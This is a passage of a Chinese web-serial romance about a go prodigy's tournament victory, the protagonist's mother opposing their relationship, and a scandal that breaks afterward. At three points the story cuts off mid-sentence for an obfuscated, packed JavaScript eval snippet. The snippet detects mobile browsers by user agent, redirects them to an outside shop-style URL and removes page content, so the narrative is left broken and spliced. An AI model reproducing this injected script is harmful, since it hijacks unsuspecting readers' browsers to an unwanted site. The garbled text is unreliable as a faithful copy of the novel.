就这么条小路,共享单车都骑不过去的那种,往霓山的方向而去。 毛秀珍紧紧抱着晁雨胳膊,声音颤啊颤:“那、那是鬼火么?” “有没有一种可能,那是萤火虫?” “这季节还有萤火虫么?” 两人走了许久,都快进山了,毛秀珍的语气里充满质疑:“是这儿么?” 晁雨傻了:“老太太,不是你带我来的么?” “我也不知道哇!”毛秀珍说:“我是看橙色软件上的一日游攻略!” “……”晁雨深吸一口凉气:“你一个在洵州生活了几十年的本地人,看外地人的攻略?” 好在又走了一段,柳暗花明。 不,并没有明,这里是山脚的阴面,连盏路灯都没有,显得十分月黑风高。 要不是毛秀珍是个身量不高的小老太太,晁雨都怀疑毛秀珍想绑架她。 终于,梧桐树下出现了一尊小小的神像,连神龛一起算上都不足人的膝盖高。 说那是神像也不太贴切,因为那就是一朴实无华的老太太,长得分外和蔼可亲。 晁雨问:“这是谁?” 毛秀珍:“王奶奶。” “谁?”晁雨怀疑自己听错了。 毛秀珍:“掌管裁缝的神,王奶奶,能把人漏了的气给缝上。” 毛秀珍说着从包里掏出提前买好的半米长香,又看看神像,觉得自己这香有点过分奢华了。 晁雨问:“还拜么?” 毛秀珍:“来都来了。” 对国人有奇效的四大魔咒——“来都来了”、“大过年的”、“还是孩子”、“都不容易”。 毛秀珍自己拜完还拉着晁雨拜,嘱咐晁雨:“虔诚点儿!” 又一拍自己的额头:“啊呀,忘带贡品了。” 晁雨:“那怎么办?” 毛秀珍想了想:“这样吧,我给王奶奶高歌一曲,毕竟神仙也要追求精神生活嘛。王奶奶古往今来,传统戏剧估计听多了,我给她来首现代的。” 晁雨生平所见声音高亢之人,一是许辰懿,二就是毛秀珍。 毛秀珍扯开嗓子唱:“呀啦嗦!那就是青藏高原——” 晁雨正要接一个电话,手一抖,手机差点没砸地上。 打来电话的是辜屿。 封闭集训比所有人想象得更高强度也枯燥,每日不能带手机,直到深夜回宿舍才能与外界联系。 辜屿问:“睡了么?” “还没。”毕竟毛秀珍还在一旁引吭高歌,她想蒙混过去都没辙。 辜屿显然也听到毛秀珍的歌声了:“你在哪?” “……唱歌。”晁雨实在说不出她和毛秀珍来拜什么裁缝神的话。 辜屿:“?” “哈哈。”晁雨:“哈哈哈,毛奶奶失眠睡不着嘛,我陪她来释放下精力。” 辜屿:“早点睡。” “知道。” 毛秀珍一曲唱毕,晁雨正好挂了电话。 毛秀珍问:“大半夜的谁来电话?” “卖保险的。” 两人一路往家走,毛秀珍絮絮叨叨的:“这下好啦,二狗子应该能赢。不然哎哟,那么多关于春闻杯铺天盖地的宣传,我看了都害怕……” 网上曾有人说,人气既是王冠,也是荆棘。欲戴王冠,必承其重。 晁雨从前对这话是没有实感的。 直到[年度人文建筑论坛]、辜屿作为嘉宾出席。 他和丁鷇音一同站在会场后排,当主持人念出他的名字、所有人目光一同射过来。 那是晁雨第一次发现,那些目光像一条路,能带人通往光芒万丈的高处。 那些目光也像一柄剑,能斩断人所有的信念。 其间区别,不过在于胜负之间。 封闭集训的日子就这样过去,辜屿偶尔给晁雨打个电话,他向来话不多,问问近况,交代一声早点睡。 随着辜屿人气的愈发高涨,外界对「春闻杯」的宣传到了夸张的地步。 捕捉不到辜屿近况,就连把以前辜屿的赛场照发出来、随便加个什么话题tag,都能在微博登上热搜、后面跟一个红彤彤的“爆”字。 许辰懿给晁雨打电话时都直咂舌:“不是我乌鸦嘴啊。我只是忍不住想,这要是输了,可怎么办呐?” 不止她忍不住会想。 晁雨忍不住也会想。 但辜屿打来电话的时候什么都不说,晁雨也就不好问。 辜屿本就是个不擅倾诉的人,就像他当时决心从春闻杯退赛、也没告诉晁雨,最后他的倾诉,也只凝练为简单三个字:“别放手。” 很快,后天就是比赛了。 两人此前已有四天没联系,这天深夜,晁雨预感辜屿会来电,缩在被子里握着手机。 果然手机震起来,晁雨接起,用气声说:“喂。” 辜屿那边顿了顿。 晁雨的声音并没带睡意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“什么意思?”晁雨虽对长辈尊敬,但毛慕清谈及辜屿的语调、实在令她很不舒服:“有话直说。” “你为什么不去问他自己呢?”毛慕清看着晁雨:“还是说,你们都谈恋爱了、其实根本没交心?” 那一双美丽的眼。 却死水一样毫无波澜。 毛慕清说完这句,便踩着永远标准得体的六厘米高跟鞋离开了。 晁雨在餐厅找到辜屿。 他靠着椅背,目光没什么起伏望着窗外的芦苇荡。 晁雨坐到他面前:“嗨。” 他的目光投射过来,在晁雨那双始终溪般温润的眼上流连。 虽说开放了会客时间,但棋手若担心会客影响心态,也可以选择放弃。 所以餐厅里零星坐着人,并不算多。 晁雨笑问辜屿:“睡得好吗?” “还可以。” 晁雨不知道毛慕清刚刚跟辜屿说了什么,也许她奉辜家老爷子的命而来,警告辜屿不可以输。 除了围棋,他一无是处。 他唯一能抓住的,只有指间的黑白棋子。 晁雨不知道毛慕清让她问辜屿什么。无论什么事,也不该春闻杯前一天来谈。 她只是笑望着辜屿,谈了些闲话。 然后一双眼微弯起来:“你知道你是有退路的吧。所以,你会赢吗?” 退路的意义不是让人溃逃。 而是让人敢于再去向前。 晁雨从口袋里掏出一枚护身符来:“其实我不信这个啦,我妈也不信,但她特意坐车去邻市、帮你求了这枚符。” “她让我寄给你,我一直犹犹豫豫没有寄。不过既然要来,我还是带来了。” 辜屿接过,忽然问:“我们什么时候跟葛阿姨公开?” “嗯?”晁雨一怔。 “如果我赢了,就公开,行不行?”辜屿的语调是素来的平稳。 晁雨捏了捏指尖,点头:“嗯,好。” 会客时间结束,辜屿站起身来。 从晁雨身边走过时,把护身符放回晁雨面前的桌上,抬手揉了下她的头:“这个不需要。” “看着吧。”他淡淡地说:“赢给你看。” - 后来晁雨也见过许多锋锐的少年,让人联想起许多的诗句,比如“春风得意马蹄疾,一日看尽长安花”。 可无论何时,当她被问及如何定义“少年意气”。 她脑海中永远浮现的都是辜屿那简单四个字—— “赢给你看”。 65. 在一起12 春闻杯决赛开幕当天,据说引爆了一轮病毒热潮。 因为各大公司出现了不少拉肚子的、感冒发烧的、急性阑尾炎的。总之为了请假,无所不用其极。 春闻杯的赛制持续数天,采用残酷的擂台形式。 凭积分进入决赛的两支队伍,也就是中韩两队,分别派出五名棋手,如果一方败北则下场,胜方留在场上对阵下一位棋手。 辜屿作为中方主将,将压轴登场。 请了病假的那些人,纷纷感叹自己失策,这个假还不如不要请—— 因此刺激、太刺激。真的,心脏受不了。 首位登场的中方小将,连克两名韩方棋手,甚至包括被誉为“曹AI”的曹艾镐。 赛制规定一盘棋要在一天内下完,不允许封棋。中方小将活跃了两天,到了第三天,终于在韩方十段棋手的手里败下阵来。 接着这位十段棋手便开始大杀四方。 韩国围棋的传统优势由来已久,首批韩国棋手赴日留学,带动了韩国围棋的兴盛。进入AI时代后,日本围棋进入颓势,韩国却积极求新求变,通过网络直播等方式,吸引了大量年轻人对围棋的兴趣。 “小妖刀”郑旻勋的出现,更是把热度推到了顶峰。 这届春闻杯,韩方是抱着终结神话的态度而来。 中方连拿两分后,韩方十段连克中方四将,甚至连副主将也提前败下阵来。最后只剩下主将辜屿,形势一时之间变得对中方极为不利。 高手之间的围棋对决,其实是个十分磨人的过程。 春闻杯的赛制是给双方棋手每人两小时四十五分钟,供棋手自由支配。两人加起来五个多小时,用完后再进行读秒下棋,一盘棋下完,大多要六七个小时。 比赛开幕几天后,很多人纷纷放弃看直播。 一来再也请不出假,二来这么漫长的过程、心肌炎都要犯了。 到了辜屿登场时,各位上班的上学的,忍不住还是对着电脑或掏出手机,还是涌入各个直播间。 看辜屿对弈一会儿,又捂着心脏退出来、直呼“受不了”。 辜屿一贯擅下快棋。 甚至有人统计过,他普通对弈和快棋赛所用的时间没多少差别。这么快的节奏下,局势的改变在瞬息之间。 说真的晁雨不想看。 却耐不住九叔在她对面霸着电脑,上班时间明目张胆地看。 解说声音倒是开得低,但九叔时而很大声的“嘿!”“哈!”“嗬——” 晁雨实在受不了,正准备蜷起指节、敲敲办公桌提醒九叔收敛点。 九叔眉一皱,连声“呸呸呸”。 晁雨心一沉,心想这是局势不妙、辜屿要完? 结果九叔一放茶缸:“看得太投入了,差点没把茶叶渣子吞进去。” 晁雨:…… 她忍无可忍走到九叔身后,直接伸手把显示器关了。 九叔扬起声调:“嘿!” 但他也没再把显示器戳开,反而踱出了办公室。 晁雨顺着窗口偷看了眼,九叔背着手站在一片乱飞的鸡鸭鹅毛和棉絮中,正对着太阳深呼吸。 这老头儿心脏也受不了了。 辜屿连胜十段李囿赫和副主将李昌石后,次日将迎来双方主将的最终对决。 到这时,本届春闻杯已超过一周了。 洵州还是安静宁然的洵州,除了那帮对围棋感兴趣的老头儿,这里和平时没任何变化。 这天葛洁买到只好麻鸭,厨兴大发地回家烧晚饭,毛秀珍探进一颗头来。 葛洁笑道:“闻着香味来的?” “不是不是。”毛秀珍摆摆手:“我找小雨,不过鸭腿给我留一根。” 晁雨咬着颗枣走进来:“妈……” 毛秀珍一把将她拉到天井里:“你怎么还在吃枣!” 晁雨一脸懵:“我怎么不能吃枣了?” “咱们得再去拜拜王奶奶!” “……不去。” “真的!得去!原来咱上次拜的方式错了!” 晁雨分外无语。 但她也说不清自己怎么想的,明明装了这么多天若无其事,甚至连比赛也不看、告诉自己这没什么大不了的。 到了月黑风高、临近午夜,她还是跟毛秀珍一起去了。 站在王奶奶的神像前,斜着眼问毛秀珍:“怎么拜啊?” 毛秀珍一脸严肃:“要拍着手往左绕三圈,再往右绕三圈,回到原处对着神像三鞠躬,每个都超过一百八十度那种。” 晁雨:“超过一百八十度那叫五体投地。” “反正就那意思吧。”毛秀珍:“鞠躬时额头要碰到自己腿的那种。” “……”晁雨问:“你认真的?” “怎么不认真呢?”毛秀珍说着,先自己拍着手绕着神像转了起来。 晁雨的表情十分一言难尽。 但最终说服她的还是那四个字——“来都来了”。 第二天辜屿和郑旻勋的对弈,准时拉开序幕。 郑旻勋不过十六七岁,一张脸还隐约透着稚气和青涩。 可当他摁下棋钟时微抬起头,露出一点眼神,晁雨便知道他和辜屿是同类。 晁雨仍是没看直播,这一张截图是她在微博上刷到的。 郑旻勋是“黄沙百战穿金甲”,辜屿是“青海长云暗雪山”。 晁雨在忙她自己的事,这样时间反而容易过。 劝宁塔的修缮方案,在九叔看似无心的种种帮助下,总算是做出来了。晁雨以前认识个学姐,后来进了模型数据公司,需要用她的计算模型最终确认算一下,塔身整体的结构和承重有没有问题。 晁雨把各项数据发过去。 学姐回复:[收到,出结果了告诉你。] 晁雨:[谢谢学姐,帮大忙了。] 数据验算还需要那么几天时间,晁雨没事了,看着九叔把电脑一会儿开,一会儿关,一会儿眉开眼笑,一会儿唉声叹气。 晁雨忍不住提醒:“你每次心脏受不了不想看的时候,直接退出直播间就行,不用把电脑一会儿开一会儿关的,咱这台老爷机受不了。” 九叔瞪她:“你管呢!我这不是管不住我这破手,只要电脑开着,总想点进直播间里去吗!” 他哼一声,背着手气呼呼地出去了。 晁雨失笑,觉得老头儿真怪。 看似每天玩扫雷消极怠工,其实该整理的案卷在录入电脑前,他都细细批注过。 看似对晁雨执意做劝宁塔方案十分不屑,其实要不是他,这方案绝对做不出来。 九叔出去了,晁雨却忍不住坐到电脑前。 戳开电源,点进直播间,又不敢看,于是把音量调到最低,蜷起一条手臂趴在办公桌上,盯着屏幕最下方的棋盘发呆。 外面有任何风吹草动,她都觉得是这盘棋终于下完了。 后来发现那是隔壁活禽店在宰大鹅。 又或者路过的小孩儿在玩摔炮。 直到九叔脚步匆匆一推门,晁雨放在办公桌上的手机震了下。 “快快快!”九叔说:“街对面的老头儿们叫起来了!肯定是比赛下完了,快看看结果。” 晁雨从桌上爬起来还有点懵:“你怎么不用手机看?” “我老人机,上不了网。” 晁雨反而不敢看,垂眸看向自己刚震了下的手机。 发现竟是辜屿发来的微信。 九叔在一旁跳着脚催促:“快啊!快看新闻!” 晁雨屏住一口气,反而先拿起手机点开微信,她看见自己的指尖在微微发颤。 辜屿发来的甚至不是一句话。 而是:[。] 对,就只有一个句号。 晁雨一颗心轰然落了地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056185|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变得沉稳而饱满,唇边先就含了抹笑意,退出已经结束的比赛直播间,重新点进一个赛后采访的直播间,把音量拉大。 中方棋手们正在接受采访。 辜屿站在队伍最末,神色自若,花团锦簇。 九叔奇了:“你怎么看新闻之前就笑了?你怎么知道他赢了?” 晁雨就是知道。 因为辜屿在结束比赛后、接受采访前,匆匆拿过手机,来不及多打一个字,只来得及发一个“。”。 那是一份少年意气的终点。 那是他在宣告:就是这样,我做到了。 我许诺的,都会做到。 - 春闻杯结束后的几天,辜屿反而比先前更忙。 因肩负着围棋传播的任务,各种采访也不是他想推就推。好在他虽一张冷脸,对围棋的投入是真的,那段时间所有直播或访谈里,都充斥着他的镜头。 对于辜屿越来越火这件事,晁雨是有切身体会的。 就连一向波澜不惊的洵州,那些老人们互相出门打招呼时也开始说:“晓得伐?那个赢了高丽棒子的是毛老太的外孙子呀。” 这件事除了木安街的老人们,新城区那边是不知道的。 有天晁雨去新城区的商场买护肤品,看两个年轻女孩捧着手机吸着奶茶:“怎么这么帅啊!” “禁欲天花板的嘛!” 晁雨一听,就知她们在议论辜屿。 “你说,辜屿弟弟喜欢什么类型啊?” “我觉得他如果要交往的话,肯定选女明星啦!美成3D建模的那种。” “不可能不可能,都说了是禁欲天花板,采访时看他笑一下都难,他这种类型适合独美,肯定跟感情无缘啦。” 晚上视频,晁雨逗辜屿:“笑一个。” 辜屿:“?” “我今天去买护肤品。”晁雨靠在床头,手上无聊,捏着软塌塌的被子角:“碰到两个小姑娘在讨论你,说根本不知道你笑起来什么样。” “你不是知道吗?” “忘了。”晁雨故意道。 辜屿淡道:“那当面笑,行不行?” 晁雨指尖掐了下被角:“你要回洵州啦?” “嗯,后天回。” 一听说辜屿回洵州的确切时间,晁雨还有点小紧张。 倒不是因为这么些天没见辜屿。 而是因为赛前跟辜屿说定——如果辜屿赢了春闻杯,两人就对葛洁公开。 若说木安街的男孩们天不怕地不怕、就怕晁雨。 那晁雨就是天不怕地不怕,就怕葛洁。 这……要怎么跟葛洁说啊。她都能想到葛洁的反应。 晁雨想着这事,翻来覆去一整夜。 第二天,比辜屿更早一天的,休年假的晁二柱回到了洵州。 葛洁特意没去出摊,把老公一人扔在摊上,自己留在家等着看儿子。 一见晁二柱还是那句:“瘦了。” 晁雨分外无语:“妈,我觉得他们食堂挺好的。就他现在这体格,一拳能打三个。” “不,就是瘦了。” 三人说着话的时候,晁二柱频频往晁雨脸上瞟。 晁雨疑惑地往脸上摸了摸:蹭东西了? 没有啊。 直到葛洁絮絮叨叨去做晚饭了,晁二柱一把拖过晁雨,站到天井角落:“我以前还跟超哥开玩笑,要是狗哥谈恋爱的话,我俩直播倒立洗头。” “?”晁雨:“你突然跟我说这干嘛?” “我需要倒立洗头吗?” 晁雨:…… 晁二柱一拍大腿:“你就是在跟狗哥谈对吧!上次吃完烧烤回家,我左思右想觉得不对劲!你居然瞒着我!” 晁雨:“不是,你先听我说——” 晁二柱已匆匆往厨房方向跑去,嘴里高喊着:“妈!我姐跟狗哥谈恋爱了——” 66. 在一起13 晁雨就知道晁二柱这张破嘴藏不住事! 她心里咯噔一下,慌忙跟着晁二柱跑过去:“妈,你别听他胡说。” 厨房里,葛洁高举着一把刚磨过的、锃光瓦亮的菜刀。 晁二柱、晁雨齐齐刹住脚步:…… 葛洁一菜刀剁在砧板的芋头上,表情看上去很平静:“先吃饭,吃完再说。” 一直到满满的家常菜摆了整桌,都没人敢再说话。 晁雨和晁二柱一人捧只瓷碗,互相看看,又悄悄去看葛洁。 葛洁仍是一脸平静,夹一块豆腐:“吃饭啊,看我干什么?我脸上有饭啊?” 这就是晁雨怕葛洁的原因。 她妈太淡定了,有种“山雨欲来风满楼”的气场,让人无形间感到巨大压力。 这要是意志不坚定的,一定已经哭着说:“招,我什么都招。” 一直到吃完饭,葛洁像平时一样,把吃剩的饭菜收起来,又拿抹布不疾不徐抹了桌面。不过没急着去摊上给老公送饭,披了件衣服,泡了盏菊花茶,叫晁雨和晁二柱进堂屋:“坐。” 晁雨和晁二柱又对视一眼,坐下了。 葛洁幽幽吹开菊花瓣,抿一口茶,放下茶盏,看也不看晁雨地问:“是不是真的?” 晁雨这时已经怂了。 但她说:“是。” 然后她说:“妈你不知道吧,其实二柱子一直在北京实习。” 晁二柱一脸难以置信地看向晁雨,晁雨瞪他一眼:谁让你嘴巴那么大。 来啊,用魔法打败魔法。 葛洁又端起茶盏,幽幽吹开菊花瓣抿一口:“二柱子的事待会儿再说。” 晁雨觉得她妈真有先见之明。 泡了盏菊花茶,下火。 葛洁这才看向晁雨,语调仍是平静,就两个字:“分了。” 这就是晁家,晁正声忠厚老实,大事小情都是葛洁拿主意。 晁雨一向最怕她妈,但这时她说:“不会分的。” “为什么?” “因为喜欢。” 葛洁看着她:“喜欢什么?喜欢他有副好皮相,喜欢他聪明,还是喜欢他对你好?” “这些都喜欢。”晁雨:“但真正为什么喜欢他……我说不清楚。” 葛洁直到这时才叹了口气。 觉得傻女儿真是栽了。 她直说道:“你们俩不合适。” “妈,我知道你有顾虑。他比我小四岁、还那么有名,我和他方方面面差距都很大,这些我都想过的。但既然我决心跟他在一起,我觉得这些都能克服。” “或许吧。” 晁雨愣了愣,没想到葛洁会这么容易松口。 葛洁:“但我真正担心的不是这个。” “我担心的是他的性格,不会跟人交心。” 葛洁抬眸瞧着晁雨:“我知道你从小就是个有主意的,你现在二十七岁了,觉得自己大了。但我告诉你,人生比你想象得要长得多。” “你知不知道夫妻过日子最重要的是什么?就是交心。” 晁雨深吸一口气:“妈,我也担心过他的性格。但人是会渐渐变的,他以前是不懂怎么跟人交流,但那是因为他从小的环境……他在学,他真的在学。” 葛洁摇摇头:“你错了,人是不会变的。就像你从小就是个傻姑娘。” 晁雨沉默下去。 “你呢?”葛洁转向晁二柱。 晁二柱一直默默坐在一边,被他妈问到的时候心里一惊。 葛洁:“为什么去北京?” “我……”晁二柱掩饰性端起一盏茶。 “为了去找辰辰?” 晁二柱直接呛出了一阵猛咳,连晁雨都惊了。 “你们总觉得什么事都可以瞒住爸妈,爸妈是从小看着你们长大的,又怎么可能瞒得过呢?小雨和二狗子,二柱子和辰辰,我不是没看出来,但我总想着你们一个稳重、一个胆小,总不至于真的发展下去。” 可“喜欢”这件事就是这样。 它让理智的人失控,让怯弱的人孤勇。 晁二柱也不瞒了:“是,我是为了她。但在我足够有能力与她并肩以前,我都不会打扰她。” “不用想了,你们俩的事我都不同意。”葛洁放下茶盏站起来:“你们自己想清楚了就赶紧断掉,我去给你们爸爸送饭。” 葛洁走出堂屋,去厨房拎了饭盒走了。 她并没有说什么重话。可晁雨和晁二柱了解葛洁,从小到大,她都是说一不二。 晁二柱埋怨晁雨:“你告诉妈干嘛?” 晁雨瞪他一眼:“谁让你嘴那么快?你的事我又为什么要给你兜着?” 都怪晁二柱。 要是等晁雨想好了后主动找葛洁谈,局面也不会这么被动。 次日一大早,毛秀珍喜滋滋摇着蒲扇走进天井里来:“小葛,小葛,晚上我大外孙就回来啦,我们是不是得照老传统聚一顿呐?” 葛洁低头收拾着厨房:“嗯。” “?”毛秀珍拉过晁雨悄声问:“你妈心情不好?又跟你爸吵架了?” 晁雨低声说:“不是,是我跟你宝贝大外孙谈恋爱了。” “哦……”毛秀珍摇两下蒲扇,这才反应过来:“啊?!” “嘘!”晁雨生怕有什么风吹草动再刺激葛洁。 毛秀珍拉着晁雨的手:“是不是真的啊?” 晁雨点点头。 “好,好,太好了。”毛秀珍抬手一抹眼角:“我还以为他永远不会……” 她褪下腕间的镯子,戴到晁雨手腕上:“不瞒你说,这是我们家传家的镯子,上好的冰种翡翠……” 晁雨分外无语:“你上个月逛集市买这镯子的时候,是我陪你去的你忘了?三十块钱。” “哈哈。”毛秀珍干笑着又把镯子套回了自己手腕上:“哈哈哈。” 她悄声跟晁雨说:“别跟你妈闹别扭,你妈这种心情,做长辈的都能理解。” 晁雨:“知道。” 葛洁去摊上了,晁雨去上班。 下班后她洗了个头。回洵州后她越来越懒了,一头浓密的乌发不肯剪,洗了也懒得吹干,就尽量趁着下午洗。 洗完搬把竹椅坐进天井里,拿柄木梳慢慢地梳。等一头长发梳通了,头发也干了一半。 这天也是一样。辜屿回来得晚,今天晚饭开得也晚,她便没着急,洗完头,坐在天井里慢慢梳着头发。 这样的情景太惬意,晁雨甚至涌出淡淡的困意,半阖着眼皮。 直到一只手摁上她的肩。 晁雨向上抬的手一滞。 那只手便接过她手中的木梳,站在她身后,一下一下,梳着她一头浓密的乌发。 晁雨闭着眼没睁开,夕阳暖暖的洒在她身上,照得她发丝也是暖的。 不知过了多久,辜屿问:“算梳好了么?” “嗯。” 她向上抬手,辜屿以为她要木梳,递还给她。 她却没接,握住辜屿的手:“你怎么总穿那么少啊。手那么凉。” 辜屿的皮肤总是很凉,像他被认定凉薄的性格。 晁雨一下下地、软软地捏着他的手。 直到那手在他指间染了温度,她站起来,转身冲辜屿笑笑:“欢迎回家。” - 葛洁还是做了满满一大桌的菜,只是吃饭时捧着瓷碗、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067832|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉眼垂着。 任谁都看出气氛不对了,毛秀珍啃着肘子、都不敢怎么说话。 吃完饭,毛秀珍和辜屿准备告辞。 晁雨主动站起来:“我送你们。” 辜屿看她一眼。 送到门外,她同二人告别,转身往回走时收到辜屿微信。 ,:[葛阿姨知道了?] 冷冷冰雨:[嗯。] 冷冷冰雨:[你也别多想。以我妈的性格,不同意是肯定的。] ,:[别跟阿姨吵。] 冷冷冰雨:[知道。] 晁雨收了手机走进厨房,一边帮葛洁收拾碗筷,一边道:“你不同意我能理解,但能别给他脸色看么?” 葛洁抹布一摔:“我这就叫给他脸色看了?” 晁雨拾起那块抹布:“你明知道,他把你当……你那年过生日,是他赶回来的。” 葛洁沉默一瞬:“我也会待他好,给他做菜。但这和我接受他跟我女儿在一起,是两回事。” “妈,你话别说得这么死。” “不行。” “为什么?” “因为我吃过的盐比你吃过的饭都多。他已经长成这样的人了,他是不会变的,我对他没信心。” 晁雨咬了咬下唇:“我有。” “你凭什么有?” 晁雨想说的有很多。 想说辜屿的那句“别放手”。 想说辜屿赛前的那句“我想见你”。 想说辜屿刚刚在她指间慢慢变暖的手。 但她觉得这些感受太私人了,都不足以说服葛洁。 她只是跟葛洁说:“你哪怕给他一个机会,慢慢观察看看。” “拖的时间越长你到时候越难受,马上分。” 晁雨心间拧了下:“妈,你想让我难过么?” 葛洁忽然就红了眼睛:“你又想让我难过么?” “你为什么难过。” “你像上次一样遍体鳞伤地从北京回来,什么都不说,难道我就不难过么?”葛洁很难得地冲晁雨吼了句。 晁雨拿着抹布默默低头洗碗,不讲话了。 葛洁吸吸鼻子:“赶紧分。妈妈看人比你准,别让我难过。” 入了夜,晁雨走进毛家小院。 毛秀珍已睡下了,晁雨走进辜屿卧室,关上门。 她本来想过很多,等辜屿赢了春闻杯回到洵州,两人会何等的干柴烈火。 但葛洁这档子事一出,她什么兴致都没了。 坐在辜屿的书桌前,桌上摆着个难解的残局,她指尖一点点抠着棋子,不讲话。 辜屿走过来,揉一把她后脑。 晁雨仰起头来看他,挺拔的鼻梁,冷薄的眼皮,锐利而富有攻击性的长相。 忽然想起春闻杯赛前毛慕清那句:“还是说,你们都谈恋爱了、其实根本没交心?” 毛慕清到底让她问辜屿什么事? 是诈她,还是确有其事? 晁雨犹豫了一瞬,开口对辜屿:“问你个问题。” “嗯?”辜屿手指在她睫毛尖刮了下。 晁雨阖了阖眼,又张开,一双眸子显得很清亮:“到了现在,你有什么事都会跟我讲吗?” “嗯。” “不是‘嗯’,是‘好’。”晁雨仰头看他的动作,带上了几分固执。 他沉沉地看了晁雨一会儿,开口:“好。” 晁雨抬手,把纤细的手指扣进他指间:“你保证。” “我保证。” 晁雨用力攥了攥辜屿的手指:“那好。” 接下来的那句话她没有说,她只是在心里跟自己说:那我就,永远不放手。 67. 在一起14 结果还是没羞没臊了。 晁雨心头的疑惑顿消,辜屿的手指刮在她睫毛尖,触感毛茸茸的。 她攥住辜屿的手指:“你总玩我睫毛干嘛?” “喜欢你眼睛。” 晁雨:“为什么喜欢我眼睛?漂亮啊?” 辜屿这人不擅哄人,尤其不会说腻歪的话。上次晁雨问他去酒吧的女生里哪个最漂亮、从他的回答方式晁雨就知道了。 一如现在,他不说话,只是勾下腰来吻晁雨的睫。唇瓣带一丝润泽,吻进晁雨的睫毛里。 晁雨半阖着眼,一手攥着他手指,另一手搭上他利落的腰线上。不知为何,辜屿吻着她睫毛的感觉,像温热的眼泪。 她喃喃叫辜屿的名字,而后说:“我信你。” 全世界谁都不信你的时候,我会信你。 辜屿被她摩挲他腰际的手勾起了动作,此时轻刮她锁骨的动作却顿住。 晁雨听见辜屿在很轻地呼吸,似在克制地调整,似被她一句话勾起了许多的情绪。 最终他什么也没说,只是把晁雨抱到床上。他的汗蹭在晁雨的额,晁雨心想,原来看起来这样凉薄的人也是会出汗的。他在往晁雨的最深处寻觅,凶狠的、不留情面的。 在最为滚烫的一瞬间,晁雨翕动失神的眼望着天花板,觉得辜屿想要吞没她。 是不是这样两人就能完全交融,毫不保留。 在辜屿小小的房间里晁雨不能出声,她只能将齿尖抵在辜屿的锁骨上、吞回那些音节。 结束以后,辜屿帮她清理完,摩一摩自己锁骨上的吻痕:“你是属狗的吗?” 晁雨飞快地穿好衣服:“没人属狗,谁名字里有‘狗’谁就是。” 她皮肤更嫩,又白,斑斑绽开的绯色未褪,更显得勾人。 辜屿压了压自己的指节:“不在这里睡?” “不在不在。”晁雨哪儿敢在这里睡。 跟葛洁公开是一回事。可要让葛洁逮到她跟辜屿没羞没臊,那又是另一回事。 她快速溜回了晁家老宅,踮脚上楼回自己房间。 辜屿在洵州待了四天,葛洁倒是又叫他来吃了两顿饭,但依然没什么热情脸色。 吃第二顿饭的时候晁正声也在,连晁雨这粗神经的爸都发现妻子的低气压了。 饭后悄声问晁雨:“你妈是不是发现我藏在花盆底下的私房钱了?” 晁雨:“你在花盆底下藏私房钱啦?” 晁正声:“……” 晁雨踏着夕色送辜屿回北京的时候,跟辜屿说:“我妈她……” 辜屿抬手在她头顶摁一下:“慢慢来。我知道我不讨人喜欢。” 晁雨噗一下乐出声:“你还知道你不讨人喜欢。” 送完辜屿回家,晁雨正撞见从家里出来、准备去给晁正声送饭的葛洁。 葛洁拎着饭盒,远远看她一眼,一言不发地走了。 晁雨劝自己:这事是得慢慢来。 她有的是时间。 人的天真大抵体现在这里。因不能预知未来,我们总是信誓旦旦地说:有时间、下一次。对别人,对自己。 其实哪来那么多的时间呢。 人在幸福的时候最易忘形。忘记所有“最好的时光”,往往只有一刹。 - 事情出得十分突然。 那是一个十分寻常的周五。陡然降温,连身处南方的晁雨也赶到一阵寒凉。 她从办公室出来,有些后悔今早出门上班的时候,葛洁非要塞给她一条以前的粗针毛线围巾,她嫌不够好看没要。 她对着掌心呵口气,倒是不像以前在北方、能很轻易地呵出白气来。她有些想买一只烤红薯暖暖胃,她跟许辰懿说过好多次,洵州的烤红薯鲜甜绵软,不像有些地方烤出来头尾发干。 但走了一路,也没碰上骑着三轮烤红薯的大爷。 晁雨从公交车下来时,正巧接到许辰懿的电话。 “喂?” “你上微博没?” “没有,我刚下班。”晁雨道。 “那你赶紧……还是别看了吧。等等你还是……”许辰懿一向雷厉风行,鲜少有这样舌头打结的时候,懊恼的一声:“哎呀!” 晁雨:“到底怎么了?” “你还是看吧,反正迟早要看的。” 挂了电话,晁雨登上微博。 刷了两次,微博都处于挂掉的状态。她本以为自己手机出了问题,后来发现是流量太大、微博被冲击到崩溃。 因为当她终于登上微博,发现热搜榜第一后,跟着个红到发绛的“爆”字。 那个热搜词条十分简单直白——[辜屿塌房]。 晁雨脑中出现一瞬的空白,手指下意识点进去。 事情是这样:韩方棋手曝出,「春闻杯」期间郑旻勋的家人突发重病,郑旻勋想赶回韩国见家人最后一面,向主办方申请暂停比赛,却被辜屿驳回。 晁雨脑子里持续空白,手指去翻评论区的动作完全出于惯性。 评论区吵疯了,很快分成了两派: 一派共情能力强的,斥责辜屿毫无人性、有违运动精神、把赢看作一切。骂他的,脱粉的,甚至有多年老粉发了篇情深意切的长文,表示辜屿平时的冷淡是格调,但出了这样的事,她对辜屿极其失望。 